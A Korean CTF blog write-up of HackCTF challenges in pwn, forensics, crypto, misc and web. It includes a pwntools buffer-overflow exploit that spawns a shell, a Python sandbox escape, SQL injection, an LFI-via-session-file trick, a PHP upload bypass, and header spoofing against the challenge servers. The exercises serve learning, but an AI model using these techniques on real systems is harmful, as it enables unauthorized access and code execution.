728x90
반응형
728x90
반응형
728x90
반응형

Basic_BOF #1

100

Basic BOF

nc ctf.j0n9hyun.xyz 3000

 

 

32bit ELF 파일이다.

 

IDA로 까보자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+4h] [bp-34h]@1
  int v5; // [sp+2Ch] [bp-Ch]@1
 
  v5 = 0x4030201;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n"&s);
  printf("[check] %p\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}
cs

 

v5을 0xDEADBEEF으로 덮으면 된다.

 

메모리 구조

s [bp-34h]

v5 [bp-Ch]

34h-Ch=28h=40d

 

s에 입력을 받고, s와 v5 사이의 간격은 40바이트다. 45바이트를 입력받으니 충분히 v5을 덮을 수 있다.

 

페이로드 : "A"*40+"\xef\xbe\xad\xde"

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3000)
 
payload = "A"*40+"\xef\xbe\xad\xde"
 
p.sendline(payload)
 
p.interactive()
 
cs

 

FLAG : HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}

 

728x90
반응형
728x90
반응형

Welcome_Forensics

50

 

이미지 우클릭하고 새 탭에서 보기를 하면 플래그를 확인할 수 있다.

 

 

 

Question?

100

 

압축을 풀면 나오는 파일 이름이 Do_you_know_HxD 이다.

HxD로 깠는데, 앞 뒤에 플래그가 없었다.

그래서 다른 삽질을 하려다가 Hack을 검색해보니 플래그가 숨어있었다.

 

flag : HackCTF{P1e45e_find_m3}

 

 

 

So easy?

100

 

문제파일 이미지를 보면, 러시아 전통 인형이다. 파일안에 파일이 숨어있다는 뜻.

일단 hxd로 까봤는데 뒤에 플래그가 있어서 당황스러웠으나... 가짜 플래그다.

so easy? 그건 fake야.

 

PK가 있으므로 zip파일이 있음을 알 수 있다. 직접 추출하기 귀찮아서 foremost 이용해서 추출했다.

zip파일 하나 안에 txt파일이 하나 있고, 거기에 플래그가 있다.

FLAG : HackCTF{M4try0shka_do11}

 

 

 

Secret Document

150

 

와 기밀문서!

플래그 파일은 암호가 걸려있다.

 

힌트파일을 보자.

hint1 : Brute-Force NOOOOOOOOOOOO!

hint2 : Do you think the password exists?

 

암호화는 fake라는 소리다. 실제로 암호는 안걸려있는데 걸려있는 것처럼 위장한 것이다. hxd를 이용해 해당 헤더를 조작해주면 된다.

 

다른 파일의 flag bit가 00 08 인데 flag.txt의 flag bit는 09 08이다. 09 08을 00 08로 바꿔주면 flag.txt가 열린다.

 

 

 

세상에서 잊혀진 날 찾아줘!

150

 

flag == Ctrl+a & Ctrl+c & Ctrl+v

pdf열고 위 동작을 해보면 이미지 위에 안보이는 텍스트들이 있음을 알 수 있다.

 

 

 

나는 해귀다

150

 

이미지 보면 hex값을 뒤집어 놓았다고 했다.

정말이다.

다시 뒤집자.

 

< waytogo.png xxd -p -c1 | tac | xxd -p -r > file.png

 

이미지에 나와있는 플래그도 뒤집혀 있다.

 

 

728x90

Magic PNG

150

 

일단 png 파일임을 인식을 못한다. 왜 그런가 알기위해 hxd로 까보았다.

 

파일 시그니처가 맞지 않다.

PNG 시그니처는  89 50 4E 47 0D 0A 1A 0A 이다. 맞게 수정해주자.

 

수정하고 나면, 이미지가 위에서 나오다가 잘려버린다.

 

원인은 TweakPNG에서 찾을 수 있었다.

청크 중간에 IDAT이 아닌 idat이 있다.

HxD를 이용해서 idat부분을 IDAT으로 수정해주면 완벽한 이미지와 함께 플래그가 나오게 된다.

 

 

Terrorist

200

당신은 현장을 수사하여 범행과 관련된 단서를 찾았다!
단서를 분석하여 다음 범행장소를 알아내야한다.
플래그 포맷은 HackCTF{범행장소}로 적어야 한다.

 

파일이 하나 주어지는데 mp4 파일이다.

재생시켜보면 역재생된 말소리가 들린다.

동영상편집프로그램 같은거 사용해서 다시 역재생하면 된다.

 

잔상

250

 

용량이 같은 파일 2개가 주어진다.

 

oct to ascii

 

 

Let'S get it ! Boo*4

350

 

0xCDA90xBD840xD7880d.8AC000H.8CE580xC7880xB2940xC8740xC7AC0v.8C57C

아 앞에 B10C 빼먹었넹

 

끝.

728x90
반응형
728x90
반응형

Great Binary 50

주어진 파일을 열어보면 바이너리가 적혀있다.

아래 사이트를 이용해 아스키로 변환하면 끝.

https://www.branah.com/ascii-converter

 

ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.

www.branah.com

HackCTF{crypto_v2ry_easy_pr0b1em}

 

 

Smooth CipherText 100

Rijvsmysmysmy Itovwyrc! Ns wyy ixsu Glm kq G? wc lkqc sw qwsmdlkkr sr...M ixsu fipi acvp urer iss geld! Md iss mel niastfov rrmq mvwzxmqvyw, cme gyx kcd xfo gmbvcmx yxwuov. qy, jjkk gc LymoADJ{t_tzwi_3vxbd0p3_vff.afy'q_wzoxpq_dp_qfz}

 

LymoADJ == HackCTF

m과 a가 C에 중복으로 대응되는 것으로 보아, 카이사르는 아니다. 그래서 비제네르로 돌려봤다.

본문 key = key

플래그 key = n

 

 

Classic Cipher -1 100

Hint : [::-1]

?y4zl4J_d0ur_b0f_0K zp nhsm

 

[::-1] 은 reverse. 즉 글자 순서를 뒤바꿔주면 된다.

그 다음에 카이사르를 돌리니 플래그가 나왔다.

 

HackCTF{D0_y0u_kn0w_C4es4r?}

 

 

RSA

200

RSA 알고리즘을 이용하여 값을 해독해보자! 
파일에 나와있는 c, p, q, e 는 RSA 대한 파라미터 값이다. 

 

p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483

q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407

e = 65537

c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

 

https://mandu-mandu.tistory.com/110 이 글에 나온 방법대로 따라하면 된다.

그러면 값이 12058e43d9e0c22559c19774 가 나오는데, 이를 10진수로 변환해서 플래그 인증하면 된다.

 

Classic Cipher -3

200

 

 

RSA2

200

(n, c) = 675517326695494061190287679557796696358902817969424171685361, 0xe3712876ea77c308083ef596a32c5ce2d7edf22abbc58657e

 

 

n 을 소인수분해 하여 p와 q를 구한다.

https://www.alpertron.com.ar/ECM.HTM

 

 

 

e를 65537 기본으로 잡고 복호화.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def egcd(a, b):
    x,y, u,v = 0,11,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y
 
def main():
 
    p = 804811499343607200702893651293
    q = 839348502408870119614692320677
    e = 65537
    ct = 0xe3712876ea77c308083ef596a32c5ce2d7edf22abbc58657e
 
    # compute n
    n = p * q
 
    # Compute phi(n)
    phi = (p - 1* (q - 1)
 
    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a
 
    print"d:  " + str(d) );
 
    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print"pt: " + str(pt) )
 
if __name__ == "__main__":
    main()
 
cs

 

pt = plain text

평문값을 hex로 변환한 뒤에 ascii로 바꾸면 flag가 나온다.

 

 

 

 

 

RSA3

250

n = 10283681839193276126097189449431804469761940095295471888398234447479454966284763902940257262270896218602885591849219329295416054197234326881779747263501982465102957508563705432633950651360492963151374387619070656704554971992649022858286686244477458518219811343940208016922937570643216329114427596008380607613093481777894261584227765149699743645734317383348201997748556656749211035951710759363655486663011079526697122026161182876988679088458171192764980121987583057238040415225285169219391637708267493561674900564748140379192079752942242600521017002960185256025253900075152690586476143729320416895984549165574371936823

c = 0x5c93ba85692a8b3981a5d47be0e80d129b8a2f6cf4dc134547aa7e1620f6691513b1dc1d69e085c39e261c2b49026436bb243dba70a86f7fcd1a3a7e6b0f0ecfac015becad0a76e9cf208d5d31e2b4865

e = 3

 

 

n은 매우 크고 e는 매우 작다.

 

c = m^e mod n = m^e

 

HelloCryto

350

key 길이는 14

flag 앞에는 HackCTF{ 인 것을 알고 있으니 key 14자리중 8자리 알아낼 수 있고

메세지 뒤에 key값이 붙은 것이 다시 key 앞에 8자리랑 연산을 하니 key 뒷자리도 알아낼 수 있음.

 

 

 

XOR

400

 

 

역연산돌리자

 

728x90
반응형
  1. 2019.08.02 11:49

    비밀댓글입니다

    • M4ndU 2019.08.06 00:21 신고

      제 글에 나와있는 N D 값을 복사 붙여넣기 하실 때 중간에 띄어쓰기가 포함되어 있습니다. 띄어쓰기를 지우시고 해보시면 될 것 같습니다. 띄어쓰기를 제거하였을 때 정상 작동 합니다.

728x90
반응형

Baseball Price 50

EZ

 

BF 50

-[------->+<]>-.[--->++++<]>+.++.++++++++.[->+++<]>++.>-[--->+<]>-.[----->+<]>++.>--[-->+++++<]>.-[-->+++++<]>.----------.---[->+++<]>+.--------------.[--->+<]>-.------------.[-->+<]>---.-[----->+<]>--.---.-[-->+<]>----.-[----->+<]>--.[-->+<]>-.------[->++<]>-.-[->++++++<]>.---[->++<]>.[-->+<]>-.+[--->++<]>-.-.+[->+++<]>.[--->+<]>-.------------.[-->+<]>-.---[->++<]>-.[--->+<]>+.-.---------.++.[-->+<]>----.++++++[->++<]>.[-->+<]>-----.---[->++<]>.[-->+<]>.+++++[->++<]>.[-->+<]>-----.[--->++<]>--.+++++.[->+++++<]>++.-[->++++++<]>.+++[->++<]>.[-->+<]>---.++[->++<]>.-[--->+<]>.-[++>---<]>+.----.++++.-----[->++<]>-.---[->++++<]>.++.--[->+++++<]>.+++++[->++<]>.[-->+<]>--.-[->++<]>-.-[--->+<]>--.+++++++++.

brainfuck이다.

 

HackCTF{1'm_th1nk1n6_4b0ut_th3_vuln3r4b1l1ty_4n4ly515_pr0j3ct}

 

 

Who am I?

답 : ret

 

 

QRCODE

150

 

4개의 사각형 내부가 하얀색으로 비워져 있다. 그림판으로 해당 부분을 검정으로 채우고 읽으면 된다.

 

 

 

 

달라란 침공

150

nc ctf.j0n9hyun.xyz 9003

 

 

 

1, 2, 3 모두 계산해야 되는 식들이 나온다.

식의 결과값을 입력해주면 된다.

1은 20개 2는 30개 3은 40개의 문제가 있다.

 

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 9003)
p.recvuntil("input ) ")
p.sendline("1")
p.recvline()
for zzzz in range(0,20):
    m = p.recvline()
    m = m.replace("\n", "")
    print(m)
    a = eval(m)
    p.recvuntil(": ")
    p.sendline(str(a))
    print(p.recvline())
    print(p.recvline())

p.recvuntil("input ) ")
p.sendline("2")
p.recvline()
for zzzz in range(0,30):
    m = p.recvline()
    m = m.replace("\n", "")
    print(m)
    a = eval(m)
    p.recvuntil(": ")
    p.sendline(str(a))
    print(p.recvline())
    print(p.recvline())

p.recvuntil("input ) ")
p.sendline("3")
p.recvline()
for zzzz in range(0,40):
    m = p.recvline()
    m = m.replace("\n", "")
    print(m)
    a = eval(m)
    p.recvuntil(": ")
    p.sendline(str(a))
    print(p.recvline())
    print(p.recvline())
p.interactive()

 

DNA

200

GTCATAATGCCGGGACTTGGT{ACATTC_CAGAAAAAAATT_GGCTATTCT}

 

 

구글에 ctf dna cryptography 라고 검색을 했다.

 

https://embeddedworld.home.blog/2019/05/16/hacking-walkthrough-ctf-challenge/

이 블로그에서 dna cryptography 부분을 보면 된다.

 

이 블로그에 나와있는 소스코드를 가져다 돌렸다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
mappings = {
    'AAA' : 'a',
    'AAC' : 'b',
    'AAG' : 'c',
    'AAT' : 'd',
    'ACA' : 'e',
    'ACC' : 'f',
    'ACG' : 'g',
    'ACT' : 'h',
    'AGA' : 'i',
    'AGC' : 'j',
    'AGG' : 'k',
    'AGT' : 'l',
    'ATA' : 'm',
    'ATC' : 'n',
    'ATG' : 'o',
    'ATT' : 'p',
    'CAA' : 'q',
    'CAC' : 'r',
    'CAG' : 's',
    'CAT' : 't',
    'CCA' : 'u',
    'CCC' : 'v',
    'CCG' : 'w',
    'CCT' : 'x',
    'CGA' : 'y',
    'CGC' : 'z',
    'CGG' : 'A',
    'CGT' : 'B',
    'CTA' : 'C',
    'CTC' : 'D',
    'CTG' : 'E',
    'CTT' : 'F',
    'GAA' : 'G',
    'GAC' : 'H',
    'GAG' : 'I',
    'GAT' : 'J',
    'GCA' : 'K',
    'GCC' : 'L',
    'GCG' : 'M',
    'GCT' : 'N',
    'GGA' : 'O',
    'GGC' : 'P',
    'GGG' : 'Q',
    'GGT' : 'R',
    'GTA' : 'S',
    'GTC' : 'T',
    'GTG' : 'U',
    'GTT' : 'V',
    'TAA' : 'W',
    'TAC' : 'X',
    'TAG' : 'Y',
    'TAT' : 'Z',
    'TCA' : '1',
    'TCC' : '2',
    'TCG' : '3',
    'TCT' : '4',
    'TGA' : '5',
    'TGC' : '6',
    'TGG' : '7',
    'TGT' : '8',
    'TTA' : '9',
    'TTC' : '0',
    'TTG' : ' ',
    'TTT' : '.'
    }
 
= "GTCATAATGCCGGGACTTGGTACATTCCAGAAAAAAATTGGCTATTCT"
flag = []
 
#Mapping
for x in range(0,len(f),3):
    piece = f[x:x+3]
    flag.append(mappings[piece])
 
print (''.join(flag))
 
cs

 

나온 결과 : TmowOFRe0saapPZ4

{, _, } 을 다시 붙여준다.

 

TmowOFR{e0_saap_PZ4}

플래그 형식 HackCTF와 대소문자 형태는 같다.

caesar를 돌리면 플래그가 나온다.

 

탈옥

250

nc ctf.j0n9hyun.xyz 9002

 

 

builtins 모듈에서 import를 가져오고 os모듈을 import해서 os모듈의 system함수를 가져와 실행한다.

import와 system은 .lower()로 우회

728x90
반응형
728x90
반응형

/ 50

로봇 이미지가 있다.

로봇...로봇...로봇...robots.txt?!

robots.txt의 내용

역시나..

해당 페이지로 이동하면 플래그가 나온다.

FLAG : HackCTF{w3lcome_to_s1mple_web_h3cking!}

 

 

Hidden 50

5번 파일에 플래그가 있다고 한다.

페이지에는 1번부터 4번까지의 버튼이 있다.

버튼을 클릭하면 http://ctf.j0n9hyun.xyz:2023/?id=1 로 이동하는 것을 알 수 있고, 여기서 id 값을 5로 입력해 주면 플래그가 나온다.

FLAG : HackCTF{idx_is_so_s1m3le_ctf}

 

 

Button 50

페이지 소스를 까서 submit의 value값을 button에서 flag로 변경해주고 버튼을 클릭하면 플래그가 출력된다.

FLAG : HackCTF{0k4y...php_c4nn0t_cr34t3_4_butt0n}

 

 

보물 100

page 값에 모든 정수값을 대입해봐야 하는 것 같다.

burp suite을 이용해서 1부터 10000 까지 시도하도록 했고, 중간에 길이가 다른 응답이 날라와서 확인해 보니 플래그가 있었다.

burp suite을 이용했다.

FLAG : HackCTF{0hhhhh_5o_g0od_try!}

 

 

Guess me 100

게싱문제는 아니다.

$filename의 값을 'secret.txt'로 선언한 뒤에 extract($_GET);을 이용해 값을 받고 있다.

따라서 우리는 $filename의 값을 바꿀 수 있고, $filename의 값을 아무 값으로 변경해 준다면, 해당 파일은 존재하지 않을 것이므로 -> guess에 아무 값도 입력해주지 않는다면 $guess === $secretcode 가 TRUE가 되어 플래그가 나올 것이다.

 

http://ctf.j0n9hyun.xyz:2030/?filename=1&guess=

성공이다.

 

FLAG : HackCTF{3xtr4c7_0v3rr1d3ds_pr3vi0u5_kn0wn_v4r1abl35}

 

 

Read File 100

http://ctf.j0n9hyun.xyz:2021/flag.php -> Access Denied

http://ctf.j0n9hyun.xyz:2021/?command=http://ctf.j0n9hyun.xyz:2021/flag.php -> X

http://ctf.j0n9hyun.xyz:2021/?command=http://ctf.j0n9hyun.xyz:2021/flflagag.php -> Access Denied

 

flag 문자열이 필터링 되고 있음을 확인. 권한을 얻기 위해 localhost로 바꿔준다.

 

http://ctf.j0n9hyun.xyz:2021/?command=http://127.0.0.1:2021/flflagag.php -> X

잉? 내가 알고 있는 문제랑은 조금 다른 것 같다.

 

http://ctf.j0n9hyun.xyz:2021/?command=flflagag.php -> 성공

flag is HackCTF{w3lcome_to_vu1n_web?}

 

 

Login 100

첫 페이지에 있는 view source를 클릭해서 php 소스를 보자.

sqli를 시도해보면 될 것 같다. 어떤 id를 사용해야 하는지는 안나와있지만, admin을 id로 사용하면 될 것 같은 느낌이다.

id = admin'-- '

pw = 1234

Flag is HackCTF{s1mple_sq1_1njecti0n_web_hack!!}

 

 

마법봉 100

일단 소스를 보자

바로 보고 매직 해시 문제임을 알아야 한다.

매직 해시 리스트에서 해당 값을 찾아서 어떤 값을 넣어야 할지 찾아내면 끝.

https://www.whitehatsec.com/blog/magic-hashes/

 

Magic Hashes | WhiteHat Security

For more than the last decade, PHP programmers have been wrestling with the equals-equals (==) operator. It’s caused a lot of issues. This has a particular implication for password hashes. Password hashes in PHP are base16 encoded and can come in the form

www.whitehatsec.com

 

FLAG : HackCTF{magic_makes_everything_possible}

 

 

 

Time 150

2달 하고도 1초 더 기다리면 플래그를 얻을 수 있다! 기다리기만 하면 되는 개꿀문제

사실 is_numeric함수에서 지수형태 5.184001e6를 이용해 통과하고

그 다음 조건문들은 5.184001e6의 계산값 5184001으로 통과되며, sleep함수에서 int형으로 변환 될 때 5.184001e6은 5로 변환되어 5초만 기다리면 플래그를 얻을 수 있다.

flag is HackCTF{1_w4nt_t0_sp3nd_m0r3_t1m3

 

 

Input Check 150

페이지 소스를 보면 힌트가 있다.

그래서 변수를 배열로 줬더니 플래그가 나왔다.

http://ctf.j0n9hyun.xyz:2033/?text[]=flag

HackCTF{y0u_are_catch_f1ag!!}

 

 

Home 200

문제 페이지를 보면, 내 ip가 나오고, 힌트로 머리말을 생각하라고 한다. 머리말 == header

header에 x-forward-for을 추가해 주면 된다.

curl --header "X-Forwarded-For: 127.0.0.1" http://ctf.j0n9hyun.xyz:2034 

curl은 윈도우 cmd에서도 잘 된다.

 

flag is HackCTF{U5u4lly_127.0.0.1_4ll0w5_y0u_t0_p4ss}

 

 

 

가위바위보 200 

가위바위보 게임을 이용해서 플래그를 구하는건가 싶어, 소스를 뒤져보았지만 플래그랑은 관련이 없는 것을 알 수 있었다.

 그다음 루트는 프로필 이미지를 변경할 때 파일업로드 취약점쪽이다.

 

프로필이미지 파일명이 저기 이름으로 등록되는데

이 이름이 .php로도 변경이된다.

 

파일에 php파일을 넣으면 a.php로 이동해서 php 실행이 가능하다.

 

이미지 검증은 이미지 시그니쳐를 삽입함으로써 우회한다.

 

 

Cookie 300

cookie라는 쿠키의 값을 base64로 3번 디코딩하면 아래 문자열이 나온다.

{"id":"2","type":"guest"}

일단 id를 1로, type을 admin으로 바꿔주고 base64로 3번 인코딩해보았다.

PassAdmin검증은 php strcmp 배열 취약점을 사용하여 우회하면 된다.

 

 

 

LOL

300

 

로컬로 flag.php에 접속해야하나 보다.

ssrf와 local ip 우회를 사용하자

url@realurl

 

Authenticate

350

로그인인가

 

뭔가 있다.

id 9자리 cresponse 넣고

eval 대신에 alert 돌리니까

여기서 9자리 string을 뽑는다.

dumbh4ck5

 

이걸 username으로 넣고 돌리니 코드가 나왔다.

XorIsNotSooS3cur3 패스워드 겟

 

 

Wise Saying

350

 

음 또 로그인?

뭘로 로그인하든 로그인이 된다.

lfi인가

 

근데 say로 안끝나면 욕한다.

 

phpinfo를 주네

 

/tmp/sess_[value]

세션쿠키값뒤에 say 붙여서 로그인하고 lfi

index.php?page=../../../../../tmp/sess_2b86721cb6a9e6334eb6d1b97a5dd3basay

된다.

이제 아이디에 php코드를 삽입하자.

 

728x90
반응형

+ Recent posts